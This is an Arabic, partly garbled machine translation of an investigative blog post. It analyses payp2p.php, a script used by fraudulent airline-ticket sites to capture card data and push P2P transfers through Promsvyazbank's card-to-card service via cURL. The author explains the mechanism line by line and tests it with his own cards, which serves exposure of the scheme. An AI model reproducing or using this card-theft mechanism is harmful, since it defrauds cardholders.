رحلات رخيصة ... شبكة من المواقع الاحتيالية تسرق الأموال من البطاقات. التحقيق الثاني. ما علاقة برومسفاز بنك به؟



منذ حوالي شهر ، نشرت مقالًا عن Geektimes ، "تذاكر طيران رخيصة ... أو شبكة من المواقع الاحتيالية تسرق الأموال من البطاقات. تحقيقي ". حصل المنشور على استجابة كبيرة واستمرار غير متوقع ...

اسمحوا لي أن أذكركم لأولئك الذين لم يقرأوا الجزء الأول. في منشور قائم على حالات حقيقية ، تم وصف المخططات باستخدام أي محتالين يسرقون الأموال من تذاكر مشتري تذاكر الطيران الذين كانوا متهورين للوصول إلى موقع بيع تذاكر مزيف. يبلغ عدد هذه المواقع الاحتيالية لبيع تذاكر الطيران في رونيت عشرات والمئات (بما في ذلك المغلقة). في مثل هذه المواقع ، يُعرض على المستخدم أولاً معلومات حقيقية عن الرحلات الجوية ، ويُقترح تقديم طلب ودفعها ببطاقة ائتمان. يبدو كل شيء جميلًا حتى يكتشف مشترو تذاكر السفر أنهم يتركون بدون مال وبدون تذاكر.

في جميع الحالات المكتشفة ، لسرقة الأموال ، تستخدم هذه المواقع خدمات البنوك لتحويل الأموال من بطاقة إلى أخرى (P2P). في الجزء الأول ، تم شرح آلية كيفية إخفاء صفحة بنك Tinkov للدفع من بطاقة إلى أخرى وإدراجها في مواقع ويب احتيالية ، بحيث لا يلاحظ "المشتري" أي شيء ، بالتفصيل. تم ذكر Promsvyazbank أيضًا - كان من خلاله يسرق المال من بطاقة الضحية في القصة التي تم وصفها. وإذا لم تكن هناك أسئلة متبقية مع بنك TKS ، ففي حالة Promsvyazbank لم يكن من الواضح كيف تم سحب الأموال. تم تنفيذ البرنامج النصي الرئيسي المستخدم لسرقة الأموال من جانب الخادم وبدون رموز المصدر يمكن للمرء أن يفترض فقط ما كان يفعله.

وقد اتصل بي أحد مستخدمي Geektimes وأرسل نص payp2p.php الذي تم استخدامه مؤخرًا في معظم مواقع مبيعات تذاكر الطيران الاحتيالية. يستخدم هذا البرنامج النصي خدمة Promsvyazbank للتحويل من بطاقة إلى أخرى. وفي رأيي ، ساهم برومسفاز بنك ، الذي قدم خدماته ، التي كان من السهل خداعها ، في نمو عدد المحتالين على الإنترنت.

ربما توجد بنوك أخرى مماثلة ، ولكن هذا المنشور سيتعامل بشكل رئيسي مع Promsvyazbank.

قبل أن نبدأ تحليل النص البرمجي نفسه ، دعنا نرى كيف تبدو صفحة الدفع لموقع ويب احتيالي وكيف تبدو صفحة الترجمة من بطاقة إلى بطاقة PSB.

يبدو أن صفحة الدفع على مواقع احتيالية
عند تحليل شفرة HTML لصفحة الدفع هذه ، لم أجد أي أجزاء من صفحات أي بنوك ، ولم يتم استخدام إطارات iframe المدمجة ، ولا يتم استخدام النصوص البرمجية على الإطلاق ، والصفحة نفسها بسيطة جدًا ولا تبدو مثل صفحة Promsvyazbank. لا يتم التحقق من البيانات التي يتم إدخالها في النموذج عن طريق النصوص البرمجية ، ولكن عن طريق الآليات المضمنة في المتصفحات - باستخدام السمات "النمط" و "المطلوب" لحقول الإدخال ولقوائم منسدلة محددة. على سبيل المثال حتى الصفحة المخزنة في المتصفح على محرك الأقراص المحلي تظل "عاملة" ويمكن استخدامها لاختبار كيفية اعتراض بيانات الخريطة. تم استخدام صفحة مماثلة تم حفظها سابقًا كجزء من هذا المنشور من أجل فهم كيفية عمل البرنامج النصي.

في الواقع ، هذه الصفحة ليست سوى نموذج لإدخال رقم البطاقة. عندما يتم تأكيد النموذج ، يتم نقل المعالجة إلى برنامج payp2p.php.

<form class="b-card-feature-list clearfix" id="formPay" action="payp2p.php" method="post">

يمكن لـ Payp2p.php فعل أي شيء. لم يكن رمزها متاحًا لنا سابقًا ، لأنه يعمل على جانب الخادم. ولكن كما كتبت بالفعل ، لدينا الآن رمز ، وسوف نعرف كل شيء.

الآن دعونا نرى كيف تبدو صفحة الدفع من بطاقة إلى أخرى على موقع Promsvyazbank.

https://www.psbank.ru/Personal/eCommerce/Card2Card


كما ترى ، فإن صفحة Promsvyazbank ليست مثل صفحة الدفع المقدمة سابقًا. حتى عدد حقول الإدخال لرقم البطاقة لا يتطابق.

دعنا نلقي نظرة على كود HTML لصفحة PSB لمعرفة كيف يعمل. كل ما نحتاج إلى معرفته هو في هذه الأسطر القليلة:

<iframe name="card2card" src="https://3ds.payment.ru/P2P/card_form.html" height="100%" width="100%" frameborder="no" seamless scrolling="no">
</iframe>

تعني هذه القطعة أن صفحة الدفع الحقيقية تقع على نطاق مختلف ، وما نراه على موقع Promsvyazbank يتم عرضه في "نافذة" باستخدام تقنية iframe.

أتساءل من يملك المجال 3ds.payment.ru.
Whois.

3ds.payment.ru
IP 193.200.10.116
: PRSBM-NET
:
inetnum: 193.200.10.0 - 193.200.10.255
netname: PRSBM-NET
mnt-by: PROMSVYAZBANK-MNT

C online.payment.ru



ينتمي نطاق 3ds.payment.ru أيضًا إلى Promsvyazbank. سوف نتذكر هذا النطاق ، وسيظل موجودًا في الوصف أكثر من مرة.

دعونا نرى ما هي الصفحة التي يدمجها برومسفاز بنك على موقعه ، وربما بعض المواقع الأخرى.

https://3ds.payment.ru/P2P/card_form.html


هذه صفحة حقيقية تستخدم للتحويلات من بطاقة إلى أخرى. كما ترى ، هذه الصفحة بلا حدود. يتم ذلك عن قصد لجعله أكثر ملاءمة للبناء في مواقع أخرى.

في كود HTML لهذه الصفحة ، نحن مهتمون بهذا الجزء:



هذه حقول إدخال مخفية لتخزين معلومات الخدمة. سنتذكر أيضا هذه الصفحة. وحيث سيتم استخدامه سيتم وصفه لاحقًا.

انتهى الجزء التمهيدي ، دعنا ننتقل إلى الجزء الأكثر إثارة للاهتمام ونرى كيف يعمل البرنامج النصي payp2p.php أو كيف يعمل.

البرنامج النصي بسيط ولا يتطلب أي معرفة متعمقة بلغة برمجة PHP لفهمه. للراحة ، كسرتها إلى قطع. على اليسار توجد أرقام الأسطر التي يمكن الرجوع إليها. لم يتغير النص تماما في الشكل الذي تم استلامه به. بعد كل جزء من التعليمات البرمجية ، سيتم تقديم فك تشفير ومثال لقيم المتغيرات أثناء تنفيذ البرنامج (أي شيء مشابه للتصحيح). في بعض الأماكن ، يكون التعليق المفرط ممكنًا - يتم ذلك حتى يتمكن القراء غير المبرمجين من فهم معنى رمز البرنامج.

للاختبار ، نحتاج إلى نموذج ستحتاج فيه إلى إدخال بيانات البطاقة التي يفترض الدفع بها. سنستخدم النموذج المحفوظ في وقت سابق. يظهر الشكل الذي يبدو عليه النموذج في موقع احتيالي في الصورة في بداية المقالة. حول النموذج ستتم كتابته أدناه. للاختبار ، أدخل رقم البطاقة 1111.2222.3333.4444.

دعنا نبدأ.



السطر 3 - لا ينفذ أي أوامر.
السطر 4 - يتم تحميل ملف dbconfig.php منفصل يتم فيه تخزين معلمات الاتصال بقاعدة بيانات MySQL. لقطة شاشة لرمز dbconfig.php وتحليلها أدناه.
السطر 6 - نقوم بالاتصال بخادم MySQL ، في قاعدة البيانات التي سنقوم بعدها بتخزين البيانات حول البطاقات المسروقة وعمليات تحويل الأموال التي تمت. يتصل هذا الخط في وقت واحد بخادم MySQL ويخرج من البرنامج إذا فشل الاتصال لسبب ما.
السطر 11 - حدد الترميز للعمل مع قاعدة بيانات MySQL.
السطر 13 - لقد اتصلنا بخادم MySQL في وقت سابق ، والآن نختار قاعدة البيانات التي سنعمل معها.

يبدأ البرنامج النصي payp2p.php عمله بعد أن يملأ مستخدم مخدوع نموذجًا على صفحة مشابهة لصفحة الدفع العادية عبر الإنترنت. بالضغط على زر "Pay" في النموذج ، يتلقى البرنامج النصي payp2p.php البيانات التي تم إدخالها في النموذج. يتم إرسال البيانات من النموذج إلى البرنامج النصي باستخدام طريقة POST.

السطر 16 - يتم حفظ رقم بطاقة الائتمان التي تم إدخالها في النموذج في الصفحة السابقة في المتغير $ num.
السطر 17 - يتم تخزين شهر / سنة فترة صلاحية البطاقة في متغير التاريخ $.
السطر 18 - يتم حفظ رمز CVV الخاص بالبطاقة إلى متغير $ cvv.
السطر 19 - في متغير الرمز $ ، يتم إنشاء رمز معين في وقت سابق عند تقديم "طلب تذاكر الطيران". يتم استخدام هذا الرمز بحيث يمكن للمستخدم عرض طلبه عبر رابط خاص. يتم استخدام نفس الرمز لتحديد الطلب (على صفحة الدفع ، لعرض مبلغ الدفع تلقائيًا ؛ إذا تم حفظه من قبل المحتالين عند الحفظ في "دفتر المبيعات" ؛ يتم إرسال هذا الرمز أيضًا إلى نموذج الدفع ، ربما كمعرف تحويل (انظر أدناه).
الخطوط 21-22 يتم تشكيل خط - استعلام SQL ، ثم يتم تنفيذه. يضيف استعلام SQL قيم معرّف الطلب والمبلغ وتاريخ انتهاء صلاحية البطاقة ورمز CVV للبطاقة والوقت الحالي الدقيق للجدول "card". فيما يلي مثال على سجل في قاعدة البيانات.

مثال على معلومات التصحيح


« » « ». , . .

"âáèâ" = '' ISO8859-1 =>Windows-1251
, . .

حول انتباهنا مؤقتًا إلى ملف dbconfig.php مؤقتًا.



فيما يلي معلمات الاتصال بقاعدة البيانات. من ما قد يكون مثيرا للاهتمام:

DBHOST — , MySQL ( MySQL , , )
DBNAME —
DBUSER — MySQL
DBPASS — MySQL
SECURE_AUTH_KEY — - . , , , . .



السطر 28 - تم توصيل ملف aviacfg.php تابع لجهة خارجية. هذا هو ملف التكوين الذي يخزن أرقام بطاقة المستلم والإعدادات الأخرى.
السطر 29 - يتم إنشاء مصفوفة من أرقام البطاقات مفصولة بفاصل أسطر في ملف التكوين.
السطر 30-31 - يتم تعيين المتغير $ crd بشكل عشوائي رقم إحدى البطاقات.

دعونا نرى ما لدينا في ملف aviacfg.php



نرى هنا أن المتغير $ aviacfg عبارة عن مصفوفة تحتوي على قيم الخصم (الخصم) والبطاقات (أرقام البطاقات التي يتوقع السحب منها). في هذا المثال ، يوجد رقم بطاقة واحد فقط ، ولكن يمكن أن يكون هناك أي عدد منهم. يشير اسم الملف (aviacfg.php) والمتغير ($ aviacfg) نفسه إلى المنطقة التي تم شحذها هذا النص البرمجي. تحدد قيمة الخصم النسبة المئوية للأسعار على موقع ويب احتيالي والتي سيتم عرضها بسعر أرخص من تلك التي يتم بيعها بالفعل على موقع ويب تذكرة طيران "صادق". يمكن لمالك موقع ويب احتيالي أن يجعل سعر التذاكر المعروضة أرخص. كلما انخفض السعر المعروض ، زاد احتمال أن يخاطر أحد المشترين المحتملين بشراء تذاكر على موقع غير مألوف. حول الخصم ، سيكون هناك تعليق لاحقًا حول كيفية تنفيذه بالضبط في الكود.



علاوة على ذلك ، يتم تخزين مبلغ التحويل ورقم البطاقة التي يتم التحويل إليها والرمز الذي يحدد طلب تذاكر الطيران على موقع ويب احتيالي في قاعدة بيانات MySQL. سيتم عرض مثال على سجل في قاعدة البيانات أدناه.

مثال على معلومات التصحيح




السطر 40 - يتم تعيين قيمة المتغير p112 دولارًا برقم البطاقة الذي تم إدخاله سابقًا في النموذج.
الخطوط 41-51 - ينقسم رقم البطاقة إلى أجزاء من أربعة أرقام.
الخطوط 53-57 - يتم التحقق من طول رقم البطاقة. إذا كان عدد الأحرف في رقم البطاقة يختلف عن 16 أو 18 ، فسيحدث خروج. يتم عرض رسالة لمدة خمس ثوان ، ثم يتم إعادة توجيهها إلى صفحة أخرى. في هذا المثال ، ستكون العودة إلى صفحة الطلب على الموقع الاحتيالي.
في السطر 56 "Iaaa؟ Iua aaiiua ea؟ Ou" عند تحويل الترميز ISO8859-1 => يتوافق Windows-1251 مع النص: "بيانات البطاقة غير صالحة".
الخطوط 58-61 - يتم تعيين المتغيرات $ p4 و $ p5 و $ p6 و $ p11 القيم التي تم إدخالها سابقًا في النموذج (تاريخ انتهاء صلاحية البطاقة ، رمز CVV ، مبلغ الدفع).
السطر 63 - في المتغير $ info يتم حفظ جميع بيانات البطاقة ومبلغ التحويل. عند التشكيل ، يتم استخدام فواصل الأسطر "\ n" ويتم استخدام الفواصل "### ...". لا يستخدم هذا المتغير في أي مكان آخر. عند إنهاء البرنامج النصي ، يمكن استخدامه لحفظ السجلات في ملف نصي عادي أو للعرض أثناء التصحيح.

مثال على معلومات التصحيح




الخطوط 66-75 - هذه في الواقع نسخة طبق الأصل من كتلة الأسطر 27-36. مرة أخرى ، يتم اختيار بطاقة جهاز الاستقبال بشكل عشوائي من ملف التكوين aviacfg.php ، ويتم حفظ كل هذا في جدول قاعدة بيانات card_balance. وهكذا ، في جدول card_balance ، مع كل محاولة للنقل ، سيتم إنشاء سجلين. إذا كانت بطاقة مستلم واحدة مسدودة في aviacfg.php ، مع أخذ عينات عشوائية ، بالطبع ، سيتم تحديد نفس البطاقة دائمًا. في هذه الحالة ، سيتم ببساطة تكرار الإدخالات في جدول card_balance. ولكن في حالة انسداد العديد من أرقام البطاقات في aviacfg.php ، مع أخذ عينات عشوائية ستكون النتائج مختلفة وسيكون هناك سجل واحد في جدول card_balance ، الأول غير صحيح والثاني صحيح.

هذا خطأ ، وقد يطلب مشترو النص (سيكون هناك تعليق منفصل عنهم) من المطور تعويض الضرر المعنوي المرتبط بحقيقة أن الترجمات الحقيقية أقل مرتين على الأقل من إدخالات السجل.

مثال على معلومات التصحيح


مثال إدخالات قاعدة بيانات MySQL
. : «card» «card_balance». , .

, , — . .

«card».



«card_balance».


يرجى ملاحظة أنه في الحالة الأولى ، يتم تخزين بطاقات المرسل فقط بدون مبلغ ، ولكن مع الوقت المحدد ، في جدول قاعدة بيانات MySQL ، وفي الحالة الثانية ، يتم حفظ البيانات حول عمليات النقل التي تم إجراؤها (بشكل أكثر دقة ، حول محاولات النقل). يتم حفظ رقم بطاقة المستلم والمبلغ ، ولا يتم حفظ بيانات المرسل في الجدول الثاني. في كلتا الحالتين ، يتم تخزين "معرّف الطلب" بشكل إضافي.

يمكن تسمية الجزء الأول من البرنامج النصي ، الذي تم وصفه أعلاه ، بشكل تعسفي "الإدخال في دفتر المبيعات للمحاسبة". ليس لديها علاقة بتحويل الأموال. لتحويل الأموال ، يمكنك الاستغناء عن حفظ البيانات في قاعدة البيانات. ومع ذلك ، نرى أن بيانات البطاقة محفوظة ، مما يعني أنه في المستقبل يمكن استخدامها أيضًا لسرقة الأموال من البطاقات "في الوضع اليدوي". يمكن بيع بيانات البطاقة أو استخدامها ، على سبيل المثال ، للدفع مقابل الإعلان في Yandex.Direct ، كما هو موضح في المقالة السابقة.

يتعلق الجزء الثاني من البرنامج النصي بتحويل الأموال من خلال موقع Promsvyazbank 3ds.payment.ru.



يشير السطر 78 من التعليق إلى أنه من المفترض أن صفحة تأكيد الدفع الناجح لها عنوان مثل "/sus.php؟cd=BX3FKT". في حالة النجاح ، يجب إعادة المستخدم إلى هذا العنوان.

السطر 80-91 لإجراء الترجمة ، يجب عليك أولاً الانتقال إلى صفحة الخدمة.

https://3ds.payment.ru/cgi-bin/get_trans_cond_p2p.


تعرض هذه الصفحة شيئًا مثل هذا السطر:

{"ORDER_NUM":"20161027070425023400","TIMESTAMP":"20161027070425"}

"ORDER_NUM" هو ~ "رقم الطلب" ، "TIMESTAMP" هو الطابع الزمني الحالي. إذا تم تحديث الصفحة ، فسيتم إصدار البيانات الجديدة دائمًا.

لقراءة صفحة ويب أو إرسال بيانات إلى صفحة ويب ، استخدم الأمر curl. يسمح لك Curl (cURL) بالاتصال برمجيًا بخوادم الويب باستخدام بروتوكولات مختلفة ، بما في ذلك http و https. في حالتنا ، curl هو متصفح ويب برمجي يمكنه حفظ صفحات الويب إلى المتغيرات. الصفحة المخزنة في المتغير هي سطر طويل للغاية مع شفرة مصدر HTML لهذه الصفحة. يمكنك العمل مع متغيرات السلسلة بنفس الطريقة كما في أي سلسلة - يمكنك البحث عن نص واستبدال نص وما إلى ذلك. سيتم استخدام التجعيد في النصوص الموصوفة عدة مرات.

السطر 80 - يتم تخزين عنوان URL في المتغير $ login_url.
السطر 81 - يتم تخزين عنوان URL في متغير $ agent.
سطر 82 - تهيئة جلسة cURL.
السطر 83-90 - يتم تعيين المعلمات للجلسة باستخدام CURL (عنوان الصفحة المخزن سابقًا في $ login_url ؛ معرف المستعرض المخزن سابقًا في $ agent ؛ الصفحة التي تتم إعادة توجيه الصفحة أو الإشارة إليها بطريقة أخرى ؛ REFERER ؛ إعدادات ملفات تعريف الارتباط ، إلخ.)
السطر 91 - نتيجة لأمر curl_exec ، سيتم الحصول على صفحة ويب بطريقة برمجية ، والتي سيتم حفظها في متغير $ page.
الأسطر 93-95 تحتوي صفحة $ المحفوظة على صفحة الويب على "ORDER number" ORDER_NUM ، والذي يتم تخزينه في $ ord المتغير.
الأسطر 96-98 تحتوي صفحة الويب $ $ المحفوظة على الطابع الزمني TIMESTAMP ، والذي يتم تخزينه في المتغير $ tim.

مثال على معلومات التصحيح




الآن يحتاج "متصفح البرنامج" للذهاب إلى الصفحة https://3ds.payment.ru/P2P_ACTION/card_form.html. هذه هي صفحة الدفع نفسها ، وقد تم عرض لقطة شاشة لها أعلاه. هذه صفحة بها نموذج ، مخفي جزء من حقول الخدمة. تم عرض جزء من كود HTML مع حقول الإدخال المخفية أعلاه. يجب تذكر بعض قيم هذه الحقول المخفية لاستخدامها لاحقًا عند إرسال النموذج.

السطر 99 - نحفظ عنوان الصفحة في عنوان url المتغير $.
السطر 100 - يتم تعيين معلمات الجلسة بعنوان URL (في هذه الحالة ، عنوان الصفحة فقط. تبقى بقية الإعدادات كما هي).
الأسطر 101-102 يتم حذف صفحة $ المتغيرات المستخدمة سابقًا وجزء $.
السطر 103 - نتيجة لأمر curl_exec ، سيتم الحصول على صفحة ويب بطريقة برمجية ، والتي سيتم حفظها في متغير $ page.
الأسطر 104-106 تحتوي صفحة الويب $ $ المحفوظة على قيمة الحقل TERMINAL ، الذي تم تخزينه في مصطلح $ المتغير.
الخطوط 107-109 تحتوي صفحة الويب $ page المحفوظة على قيمة حقل TRTYPE ، الذي تم تخزينه في متغير $ type.
الأسطر 110-112 تحتوي صفحة الويب $ page المحفوظة على قيمة حقل MERCHANT المخزن في متغير merch $.
الخطوط 113-115 تحتوي صفحة الويب $ $ المحفوظة على قيمة حقل EMAIL ، الذي تم تخزينه في المتغير $ ml.

بشكل عام ، لا تتغير هذه القيم في النموذج المشار إليه. ويمكن حفظها في الشفرة على أنها ثوابت ولا يتم تلقيها في كل مرة. من الواضح أن الحصول على قيم هذه الحقول يتم من أجل سلامة إضافية في حالة تغيير حقل واحد أو أكثر في وقت ما في المستقبل.

وصف بعض المجالات. من السهل العثور على وصف كامل لجميع الحقول في Google.

TERMINAL - رقم فريد للمحطة الافتراضية
للمنفذ MERCH_NAME - اسم نقطة
البيع MERCHANT - عدد المخرج المعين من قبل البنك
TRTYPE - نوع المعاملة المطلوبة (الدفع - 1 ، إلغاء - 22 ، تصريح مسبق - 0 ، إتمام التسويات - 21)
EMAIL - عنوان البريد الإلكتروني لإرسال تنبيهات

مثال على معلومات التصحيح

, - . ($page)

EMAIL هنا ، هذه حالة ملحمية. من يهتم ، مواد إضافية حول هذا البريد الإلكتروني في نهاية المقالة في التطبيق تحت المفسد.



هنا نرى كتلة كبيرة. يتم تفسير حقيقة أنها تبدو كبيرة من خلال عرض العمود المحدود في المنشور والعرض المريح للتعليمات البرمجية بواسطة مؤلف البرنامج النصي. يمكن وضع كل نفس في 10 أسطر من التعليمات البرمجية ، ولكن راحة القراءة وتحرير التعليمات البرمجية ستعاني.

سطر 120 - في عنوان url المتغير $ احفظ عنوان الصفحة.
السطر 121-123 - تعيين معلمات لجلسة بعنوان URL.
السطر 124 - يتم إنشاء مصفوفة من $ ncrd من رقم بطاقة المستلم في متغير السلسلة $ crd ، والذي سيحتوي على أجزاء من رقم البطاقة مقسمة إلى أربعة.
السطر 125 - يتم تخزين رؤوس HTTP في متغير صفيف رؤوس $.
السطر 126 - يتم تعيين المعلمات للجلسة باستخدام CURL (رؤوس HTTP من متغير رؤوس $.
الخطوط 135-164 - يتم إنشاء مصفوفة postL $ ، كل قيمة تتوافق مع حقل النموذج في صفحة الدفع (رقم بطاقة المرسل ، مقسومًا على أربعة ؛ تاريخ انتهاء صلاحية بطاقة المرسل ؛ بطاقة CVC للمرسل ؛ رقم بطاقة المستلم رباعي الاتجاهات ؛ تاريخ انتهاء صلاحية بطاقة المستلم ؛ بطاقة CVC للمستلم ؛ مبلغ الدفع ؛ "رقم الطلب" ؛ وصف صفحة التأكيد ؛ رقم المحطة الطرفية ؛ اسم نقطة البيع ؛ البريد الإلكتروني للإشعارات ؛ الطابع الزمني ؛ رقم بطاقة المرسل غير مقسم إلى أجزاء ؛ رقم بطاقة المستلم غير مقسم إلى أجزاء ؛ البيانات الموجودة على البرامج والأجهزة "على كمبيوتر المرسل" ، المصممة لخلق مظهر مستخدم حقيقي ، وليس برنامج نصي).
الخطوط 135 - يتم تعيين المعلمات لجلسة cURL (البيانات المرسلة في طلب HTTP POST. في هذه الحالة ، يتم تحويل الصفيف $ postL إلى سلسلة ، وهي سلسلة مشفرة بعنوان url ، مثل 'p1=val1&p2=val2&...'.

يتم عرض البيانات المرسلة بشكل أكثر وضوحًا في لقطة الشاشة مع معلومات التصحيح أدناه.

مثال على معلومات التصحيح




السطر 166 - نتيجة لأمر curl_exec ، سيتم إرسال البيانات المعدة إلى نموذج صفحة الويب باستخدام طريقة POST. بالنسبة لصفحة الويب ، سيبدو مثل هذا الإرسال تمامًا كما لو قام مستخدم عادي بملء النموذج وتأكيده في متصفح عادي. سيتم حفظ الصفحة بنتيجة إرسال البيانات إلى النموذج في صفحة $ المتغيرة.
سطر 167 - تنتهي جلسة cURL.
السطر 168 - في الصفحة الناتجة ، التي يتم تخزينها في صفحة $ المتغيرة ، وكما نتذكر ، هو سطر طويل ، يتم البحث في السلسلة الفرعية "خطأ".
الخطوط 169-173 - إذا تم العثور على "خطأ" في السلسلة الفرعية ، فسيتم عرض رسالة الخطأ "البطاقة غير مناسبة" لمدة 5 ثوانٍ ثم يخرج البرنامج النصي ويعيد توجيه الصفحة المعروضة في المتصفح إلى "صفحة الطلب". إذا كان المستخدم مثابرًا ، فيمكنه مرة أخرى محاولة متابعة إجراءات الدفع.

الصفحة المعروضة في حالة حدوث أي خطأ.



قد تكون أسباب الأخطاء التي يصدرها البنك مختلفة (خطأ في رقم البطاقة ، وعدم كفاية الأموال ، وخطأ في التفويض ، والعديد من الأخطاء الأخرى). ولكن بالنسبة للسيناريو payp2p.php لا يوجد فرق. بمجرد فشل الدفع ، فهذا يعني أنه تتم إعادة توجيه المستخدم إلى الصفحة التي يمكنك من خلالها تكرار محاولة الدفع. يمكن تغيير الصفحة التي يتم إرجاع الخطأ إليها بسهولة تبعًا للمهمة.

مثال كود HTML الذي تم إرجاعه بواسطة صفحة البنك ، في حالة الخطأ
<!DOCTYPE html>

<head>
<base href="/">
<script src="/netcetera/netcetera.js"></script>
<script src="/riskminder-client.js"></script>
<script>
    function redirect(rctext, ext_diag_code){
	if (rctext == "Call your bank"){
		window.top.location = "http://www.psbank.ru/Card2Card/CallYourBank";
	} else if (rctext == "Your card is restricted"){
		window.top.location = "http://www.psbank.ru/Card2Card/ForbiddenTransaction";
	} else if (rctext == "Your card is disabled"){
		window.top.location = "http://www.psbank.ru/Card2Card/BlockedCard";
	} else if (rctext == "Invalid amount" || rctext == "Error in amount field" || rctext == "Wrong original amount"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectAmount";
	} else if (rctext == "Re-enter transaction"){
		window.top.location = "http://www.psbank.ru/Card2Card/Retry";
	} else if (rctext == "Expired card"){
		window.top.location = "http://www.psbank.ru/Card2Card/ExpiredCard";
	} else if (rctext == "Not sufficient funds"){
		window.top.location = "http://www.psbank.ru/Card2Card/InsufficientBalance";
	} else if (rctext == "Exceeds amount limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/AmountOverlimit";
	} else if (rctext == "Exceeds frequency limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/QuantityOverlimit";
	} else if (rctext == "Error in card number field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectNumber";
	} else if (rctext == "Error in card expiration date field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectExpiresDate";
	} else if (rctext == "Error in currency field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectCurrency";
	} else if (rctext == "Authentication failed" && ext_diag_code == "AS_FAIL"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectPassword";
	} else if (rctext == "Authentication failed" && (ext_diag_code == "NS_ATTEMPT" || ext_diag_code == "S_ATTEMPT" || ext_diag_code == "ATTEMPT" || ext_diag_code == "UNAVAIL")){
		window.top.location = "http://www.psbank.ru/Card2Card/3DSFailure";
	} else {
		window.top.location = "http://www.psbank.ru/Card2Card/TechReasons";
	}
   }
</script>
</head>
<body onload="netcetera_set_DID('');redirect('Authentication failed','BIN_ERROR')">
</body>
</html>


مثال على معلومات تصحيح الأخطاء إذا أبلغ البنك عن خطأ عند الدفع


السطر 174 - إذا لم يكن هناك مخرج سابق من البرنامج النصي بسبب خطأ عند الدفع ، فهذا يعني أن كل شيء يسير على النحو المنشود. في الصفحة التي تم حفظها سابقًا في صفحة $ المتغيرة ، يتم استبدال جميع السلاسل الفرعية بالعنوان https://3ds.payment.ru/cgi-bin/cgi_linkبسلسلة من نوع mydomain.ru/sus.php؟cd = ... - هذا هو عنوان الصفحة على الموقع الاحتيالي الذي يجب على المستخدم الوصول إليه في حالة نجاح الدفع. (في مثل هذه الصفحة ، يمكن شكر المستخدم وإبلاغه بأنه تم إرسال التذاكر الإلكترونية بالبريد). بعد استبدال السلسلة الفرعية ، يتم تخزين النتيجة في المتغير $ pp.

السطر 175 - يتم عرض المتغير $ pp في المتصفح. نظرًا لأن المتغير $ pp عبارة عن سلسلة برمز HTML الكامل للصفحة ، فسيرى المستخدم بعض الصفحة. لن تختلف الصفحة المعروضة خارجيًا عن الصفحة الأصلية التي أعطاها البنك - سيكون الفرق فقط داخل كود HTML في المكان الذي تم فيه استبدال الرابط.

إذن ما هي هذه الصفحة التي يقدمها البنك في حالة إدخال رقم البطاقة الصحيح ، والذي يحل فيه النص النصي رابطًا لصفحة الدفع الناجحة على موقع ويب احتيالي؟ وبعد كل شيء ، على الأرجح ، يجب أن يكون هناك شيك آمن ثلاثي الأبعاد من البنوك المرسلة ، والذي لن يسمح بالدفع؟ انتهى الرمز في المكان الأكثر إثارة للاهتمام وهناك شكوك في أنه يمكن أن يعمل بدون نصوص ونماذج إضافية صعبة.

. - . . .

أقود رقم بطاقتي المصرفية في ملف aviacfg.php. سأحاول قبول التحويل عليه ، إذا نجح بالطبع. أفتح صفحة النموذج المحفوظة مسبقًا على القرص. تم حفظ هذا النموذج ببساطة في المتصفح عند زيارة أحد المواقع الاحتيالية ، التي كانت لا تزال تعمل وقت كتابة الجزء الأول من المنشور. تم حفظ النموذج بالفعل بمجموع 2915 روبل ، ولكن لاختباره أكثر من اللازم. دعنا نغيره. في أي شكل ، هناك حقول مرئية وخفية. الحقول المخفية (الإدخال ، التحديد) لا تختلف عن الحقول العادية ، باستثناء أنها غير مرئية. تُستخدم هذه الحقول لتخزين معلومات الخدمة التي لا يحتاج المستخدم إلى رؤيتها. يتم إخفاء حقول الإدخال بطريقتين.

  • CSS ( display:none). , (input), , ( DIV) input.
  • — , type=«hidden». type=«text».

في حالتنا ، يتم إخفاء حقول النموذج باستخدام type = "hidden".

نضغط في المتصفح F12 (وضع تطوير الويب). ابحث عن المكان الصحيح في شفرة HTML وغير نوع النص = "hidden" إلى type = "text" لعنصرين أو أكثر من عناصر الإدخال. نرى الآن الحقول التي يتم فيها تخزين المجموع ورمز الخدمة (الرمز). تقليل الكمية من 2915rub إلى 20rub. أدخل الآن بيانات بطاقتك المصرفية الثانية في النموذج. يجب خصم الأموال من هذه البطاقة إذا كان من الممكن إجراء تحويل.



نؤكد النموذج بالضغط على زر "ادفع". بعد النقر فوق الزر ، يتم تشغيل البرنامج النصي payp2p.php ، الذي يتلقى البيانات التي تم إدخالها في النموذج.

لدهشتي ، بعد إدخال رقم البطاقة الحقيقية والنقر على زر "الدفع" في نموذج الاختبار ، رأيت صفحة Sberbank (البنك الذي يتم التحويل منه) على الشاشة ، تطلب مني إدخال رمز تأكيد 3D Secure.



أيضا على هاتفي تلقيت رسالة نصية قصيرة من Sberbank مع رمز.



قبل الاختبار باستخدام بطاقة ائتمان صالحة ، افترضت أنه لتأكيد رمز 3D Secure ، يجب أن يتم "خداعه" في المستخدم بطريقة ما ، ثم نقل التأكيد الآمن ثلاثي الأبعاد بشكل سري إلى هذا النموذج. ومع ذلك ، تبين أن كل شيء أبسط بكثير. بعد إرسال البيانات الخاصة بالتحويل من بطاقة إلى أخرى إلى موقع Promsvyazbank ، يعرض المستعرض شكل المصرف الذي أصدر البطاقة الذي يتم التحويل منه. في حالتي ، هذا سبيربانك. هذا النموذج لا يحتاج حتى إلى التزييف. يتم عرض نموذج التأكيد على موقع HTTPS في Sberbank. يقوم ضحايا المحتالين بأنفسهم مباشرةً في هذا النموذج المألوف لهم بإدخال رمز التأكيد. بعد ذلك ، إذا مر التحويل ، يتم خصم المال. على الرغم من أنه من الممكن نظريًا الاحتجاج على مثل هذا التحويل ، إلا أنه لا يزال بعيدًا عن حقيقة إعادة الأموال.تتأثر احتمالية رد الأموال بالعديد من العوامل ، بما في ذلك مدى سرعة تطبيق "الضحية" على مصرفه.

كود HTML للصفحة التي يعطيها Sberbank لتأكيد 3D Secure تحت المفسد. تم الحصول على الرمز أثناء الاختبار عن طريق كتابة الصفحة $ المتغيرة إلى ملف نصي. السطر 166 من البرنامج النصي payp2p.php.

كود HTML للصفحة الآمنة ثلاثية الأبعاد قبل استبدال الخط
